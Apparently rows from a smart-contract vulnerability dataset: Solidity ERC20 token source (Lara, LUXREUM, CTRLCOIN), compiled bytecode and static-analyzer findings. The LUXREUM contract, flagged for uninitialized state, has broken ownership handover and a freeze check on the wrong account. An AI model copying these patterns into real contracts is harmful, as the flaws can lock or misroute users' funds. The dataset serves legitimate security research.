function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Lara
* @dev LARA Token Smart Contract
*/
contract Lara is DetailedERC20, StandardToken, BurnableToken, PausableToken {
/**
* Init token by setting its total supply
*
* @param totalSupply total token supply
*/
function Lara(
uint256 totalSupply
) DetailedERC20(
"Lara",
"LARA",
8
) {
totalSupply_ = totalSupply;
balances[msg.sender] = totalSupply;
}
}
|
0x6080604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100f5578063095ea7b31461017f57806318160ddd146101b757806323b872dd146101de578063313ce567146102085780633f4ba83a1461023357806342966c681461024a5780635c975abb14610262578063661884631461027757806370a082311461029b5780638456cb59146102bc5780638da5cb5b146102d157806395d89b4114610302578063a9059cbb14610317578063d73dd6231461033b578063dd62ed3e1461035f578063f2fde38b14610386575b600080fd5b34801561010157600080fd5b5061010a6103a7565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014457818101518382015260200161012c565b50505050905090810190601f1680156101715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018b57600080fd5b506101a3600160a060020a0360043516602435610435565b604080519115158252519081900360200190f35b3480156101c357600080fd5b506101cc610460565b60408051918252519081900360200190f35b3480156101ea57600080fd5b506101a3600160a060020a0360043581169060243516604435610466565b34801561021457600080fd5b5061021d610493565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b5061024861049c565b005b34801561025657600080fd5b50610248600435610514565b34801561026e57600080fd5b506101a3610521565b34801561028357600080fd5b506101a3600160a060020a0360043516602435610531565b3480156102a757600080fd5b506101cc600160a060020a0360043516610555565b3480156102c857600080fd5b50610248610570565b3480156102dd57600080fd5b506102e66105ed565b60408051600160a060020a039092168252519081900360200190f35b34801561030e57600080fd5b5061010a6105fc565b34801561032357600080fd5b506101a3600160a060020a0360043516602435610656565b34801561034757600080fd5b506101a3600160a060020a036004351660243561067a565b34801561036b57600080fd5b506101cc600160a060020a036004358116906024351661069e565b34801561039257600080fd5b50610248600160a060020a03600435166106c9565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042d5780601f106104025761010080835404028352916020019161042d565b820191906000526020600020905b81548152906001019060200180831161041057829003601f168201915b505050505081565b60065460009060a060020a900460ff161561044f57600080fd5b610459838361075e565b9392505050565b60045490565b60065460009060a060020a900460ff161561048057600080fd5b61048b8484846107c4565b949350505050565b60025460ff1681565b600654600160a060020a031633146104b357600080fd5b60065460a060020a900460ff1615156104cb57600080fd5b6006805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b61051e338261093d565b50565b60065460a060020a900460ff1681565b60065460009060a060020a900460ff161561054b57600080fd5b6104598383610a3e565b600160a060020a031660009081526003602052604090205490565b600654600160a060020a0316331461058757600080fd5b60065460a060020a900460ff161561059e57600080fd5b6006805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561042d5780601f106104025761010080835404028352916020019161042d565b60065460009060a060020a900460ff161561067057600080fd5b6104598383610b2e565b60065460009060a060020a900460ff161561069457600080fd5b6104598383610c11565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600654600160a060020a031633146106e057600080fd5b600160a060020a03811615156106f557600080fd5b600654604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107db57600080fd5b600160a060020a03841660009081526003602052604090205482111561080057600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290205482111561083057600080fd5b600160a060020a038416600090815260036020526040902054610859908363ffffffff610caa16565b600160a060020a03808616600090815260036020526040808220939093559085168152205461088e908363ffffffff610cbc16565b600160a060020a0380851660009081526003602090815260408083209490945591871681526005825282812033825290915220546108d2908363ffffffff610caa16565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b600160a060020a03821660009081526003602052604090205481111561096257600080fd5b600160a060020a03821660009081526003602052604090205461098b908263ffffffff610caa16565b600160a060020a0383166000908152600360205260409020556004546109b7908263ffffffff610caa16565b600455604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b336000908152600560209081526040808320600160a060020a038616845290915281205480831115610a9357336000908152600560209081526040808320600160a060020a0388168452909152812055610ac8565b610aa3818463ffffffff610caa16565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610b4557600080fd5b33600090815260036020526040902054821115610b6157600080fd5b33600090815260036020526040902054610b81908363ffffffff610caa16565b3360009081526003602052604080822092909255600160a060020a03851681522054610bb3908363ffffffff610cbc16565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a0386168452909152812054610c45908363ffffffff610cbc16565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610cb657fe5b50900390565b81810182811015610cc957fe5b929150505600a165627a7a723058205f7b657f1306a477175a7d4d5a45d26cde660c9e8e0558e0edde13dd894a02110029
|
{"success": true, "error": null, "results": {}}
| 9,115 |
0xd278bf17c8b04cecf11187e92190430f009dc5ce
|
pragma solidity ^0.4.16;
// Luxreum Token contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Verified Status: ERC20 Verified Token
// Luxreum Symbol: LXR
contract LUXREUMToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Luxreum Token Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract LXRStandardToken is LUXREUMToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LUXREUM is LXRStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 16;
uint256 public totalSupply = 60 * (10**7) * 10**16 ; // 600 million tokens, 16 decimal places
string constant public name = "Luxreum";
string constant public symbol = "LXR";
function LUXREUM(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806370a082311461029e57806379ba5097146102eb5780638da5cb5b1461030057806395d89b4114610355578063a9059cbb146103e3578063b414d4b61461043d578063cae9ca511461048e578063d4ee1d901461052b578063dd62ed3e14610580578063e724529c146105ec578063f2fde38b14610630575b600080fd5b34156100f657600080fd5b6100fe610669565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106a2565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610829565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082f565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610cfe565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102d5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d03565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610d4c565b005b341561030b57600080fd5b610313610eab565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036057600080fd5b610368610ed1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a857808201518184015260208101905061038d565b50505050905090810190601f1680156103d55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ee57600080fd5b610423600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0a565b604051808215151515815260200191505060405180910390f35b341561044857600080fd5b610474600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611241565b604051808215151515815260200191505060405180910390f35b341561049957600080fd5b610511600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611261565b604051808215151515815260200191505060405180910390f35b341561053657600080fd5b61053e6114fe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058b57600080fd5b6105d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611524565b6040518082815260200191505060405180910390f35b34156105f757600080fd5b61062e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506115ab565b005b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d1565b005b6040805190810160405280600781526020017f4c75787265756d0000000000000000000000000000000000000000000000000081525081565b60008082148061072e57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561073957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561088c5760009050610cf7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610957575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109635750600082115b801561099c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610a385750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a3583600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b8015610a4957506044600036905010155b1515610a5457600080fd5b610aa682600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b3b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c0d82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610da857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c5852000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f67576000905061123b565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610fb65750600082115b8015610fef5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561108b5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108883600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b10155b801561109c57506044600036905010155b15156110a757600080fd5b6110f982600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061118e82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a890919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156114a2578082015181840152602081019050611487565b50505050905090810190601f1680156114cf5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015156114f357600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160757600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117a55780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156117c05750828110155b15156117c857fe5b8091505092915050565b60008282111515156117e057fe5b8183039050929150505600a165627a7a72305820745d1de95782f91a464ffdb8f0383442063e6ce4f09e631787b02c9ca645c00f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 9,116 |
0xf23ab1d0b411038d19dc8cf59252cf51736d0e4e
|
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'CTRLCOIN' contract
//
// Symbol : CTRL
// Name : CTRLCOIN
// Total supply: 100 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
